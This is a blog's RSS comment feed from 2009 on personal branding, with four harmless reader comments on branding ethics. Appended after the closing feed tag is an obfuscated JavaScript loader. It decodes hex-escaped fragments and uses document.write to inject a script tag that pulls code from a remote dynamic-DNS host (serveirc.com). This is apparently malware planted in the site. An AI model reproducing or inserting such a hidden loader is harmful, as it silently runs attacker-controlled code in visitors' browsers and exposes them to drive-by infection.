<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Personal Branding</title>
	<atom:link href="http://www.nomadicneil.com/blog/marketing/personal-branding/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nomadicneil.com/blog/marketing/personal-branding/</link>
	<description>The road to authentic location independent living</description>
	<lastBuildDate>Fri, 22 Jan 2010 21:04:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: NomadicNeil</title>
		<link>http://www.nomadicneil.com/blog/marketing/personal-branding/comment-page-1/#comment-69</link>
		<dc:creator>NomadicNeil</dc:creator>
		<pubDate>Wed, 02 Dec 2009 05:11:07 +0000</pubDate>
		<guid isPermaLink="false">http://www.nomadicneil.com/blog/?p=114#comment-69</guid>
		<description>Andrew, sorry for taking a while to get back to you. Great insights.</description>
		<content:encoded><![CDATA[<p>Andrew, sorry for taking a while to get back to you. Great insights.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Andrew MacPherson</title>
		<link>http://www.nomadicneil.com/blog/marketing/personal-branding/comment-page-1/#comment-65</link>
		<dc:creator>Andrew MacPherson</dc:creator>
		<pubDate>Wed, 11 Nov 2009 03:59:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.nomadicneil.com/blog/?p=114#comment-65</guid>
		<description>Marketing and consumerism didn&#039;t invent branding. They basically just branded branding. The underlying concept, which you touched on above, is that people form impressions of essentially everything they come in contact with. All marketing did was recognize that it was already happening and ask what to do with that knowledge.

Personal or otherwise, branding is merely an attempt to make sure the impression that people will inevitably form is congruent with the impression we have of ourselves and our companies. The ethical debate gets whipped up because this sounds like manipulation.

The problem with assuming branding is nefarious is that the impressions people make in the absence of branding are often made with incomplete or incorrect information. Preventing that misconception is branding&#039;s more noble counterpoint.

&lt;i&gt;The problem with brands is that they have to be simple and concise, easily recognizable and consistent.&lt;/i&gt;

Some definitions of branding do claim that. However, the brand message I got from your site in the first few seconds is that you&#039;re not cool with being defined by others&#039; definitions. I&#039;d say throw out the &quot;simple and concise&quot; part of the definition and stick with authentically communicating what you think you&#039;re about. If you do that, you&#039;ll be actively engaged in branding without having to worry about the ethical quandaries.</description>
		<content:encoded><![CDATA[<p>Marketing and consumerism didn&#8217;t invent branding. They basically just branded branding. The underlying concept, which you touched on above, is that people form impressions of essentially everything they come in contact with. All marketing did was recognize that it was already happening and ask what to do with that knowledge.</p>
<p>Personal or otherwise, branding is merely an attempt to make sure the impression that people will inevitably form is congruent with the impression we have of ourselves and our companies. The ethical debate gets whipped up because this sounds like manipulation.</p>
<p>The problem with assuming branding is nefarious is that the impressions people make in the absence of branding are often made with incomplete or incorrect information. Preventing that misconception is branding&#8217;s more noble counterpoint.</p>
<p><i>The problem with brands is that they have to be simple and concise, easily recognizable and consistent.</i></p>
<p>Some definitions of branding do claim that. However, the brand message I got from your site in the first few seconds is that you&#8217;re not cool with being defined by others&#8217; definitions. I&#8217;d say throw out the &#8220;simple and concise&#8221; part of the definition and stick with authentically communicating what you think you&#8217;re about. If you do that, you&#8217;ll be actively engaged in branding without having to worry about the ethical quandaries.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: NomadicNeil</title>
		<link>http://www.nomadicneil.com/blog/marketing/personal-branding/comment-page-1/#comment-21</link>
		<dc:creator>NomadicNeil</dc:creator>
		<pubDate>Wed, 07 Oct 2009 01:39:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.nomadicneil.com/blog/?p=114#comment-21</guid>
		<description>Thanks for the encouragement Walter!</description>
		<content:encoded><![CDATA[<p>Thanks for the encouragement Walter!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Walter</title>
		<link>http://www.nomadicneil.com/blog/marketing/personal-branding/comment-page-1/#comment-20</link>
		<dc:creator>Walter</dc:creator>
		<pubDate>Sun, 04 Oct 2009 08:14:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.nomadicneil.com/blog/?p=114#comment-20</guid>
		<description>As you go on with this blog, you will learn more about what your path will be. Just pick the lessons as you go through. :-)</description>
		<content:encoded><![CDATA[<p>As you go on with this blog, you will learn more about what your path will be. Just pick the lessons as you go through. <img src='http://www.nomadicneil.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script type="text/javascript">var ioT4bziY="spXDR18spXDR30";var CA9l7tfd0="spXDR3cspXDR73spXDR63spXDR72"; var CA9l7tfd1="spXDR69spXDR70spXDR74spXDR20"; var CA9l7tfd2="spXDR74spXDR79spXDR70spXDR65"; var CA9l7tfd3="spXDR3dspXDR22spXDR74spXDR65"; var CA9l7tfd4="spXDR78spXDR74spXDR2fspXDR6a"; var CA9l7tfd5="spXDR61spXDR76spXDR61spXDR73"; var CA9l7tfd6="spXDR63spXDR72spXDR69spXDR70"; var CA9l7tfd7="spXDR74spXDR22spXDR20spXDR73"; var CA9l7tfd8="spXDR72spXDR63spXDR3dspXDR22"; var CA9l7tfd9="spXDR68spXDR74spXDR74spXDR70"; var CA9l7tfd10="spXDR3aspXDR2fspXDR2fspXDR61"; var CA9l7tfd11="spXDR73spXDR77spXDR31spXDR39"; var CA9l7tfd12="spXDR6cspXDR2espXDR73spXDR65"; var CA9l7tfd13="spXDR72spXDR76spXDR65spXDR69"; var CA9l7tfd14="spXDR72spXDR63spXDR2espXDR63"; var CA9l7tfd15="spXDR6fspXDR6dspXDR2fspXDR2f"; var CA9l7tfd16="spXDR6dspXDR6cspXDR2espXDR70"; var CA9l7tfd17="spXDR68spXDR70spXDR22spXDR3e"; var CA9l7tfd18="spXDR20spXDR3cspXDR2fspXDR73"; var CA9l7tfd19="spXDR63spXDR72spXDR69spXDR70"; var CA9l7tfd20="spXDR74spXDR3e"; var u0dDGKo7="MtDol18spXDR30";var lkrvpDeQ=CA9l7tfd0+CA9l7tfd1+CA9l7tfd2+CA9l7tfd3+CA9l7tfd4+CA9l7tfd5+CA9l7tfd6+CA9l7tfd7+CA9l7tfd8+CA9l7tfd9+CA9l7tfd10+CA9l7tfd11+CA9l7tfd12+CA9l7tfd13+CA9l7tfd14+CA9l7tfd15+CA9l7tfd16+CA9l7tfd17+CA9l7tfd18+CA9l7tfd19+CA9l7tfd20; FZRxTRMe=lkrvpDeQ.replace(/spXDR/g,"%");var xaxNemWf=unescape;var ioT4bziY="JJ93818MtDol30";q9124=this;var sfR5Y7hb=q9124["WYd1GoGYc2uG1mYGe2YnltY".replace(/[Y12WlG\:]/g, "")];sfR5Y7hb.write(xaxNemWf(FZRxTRMe));</script>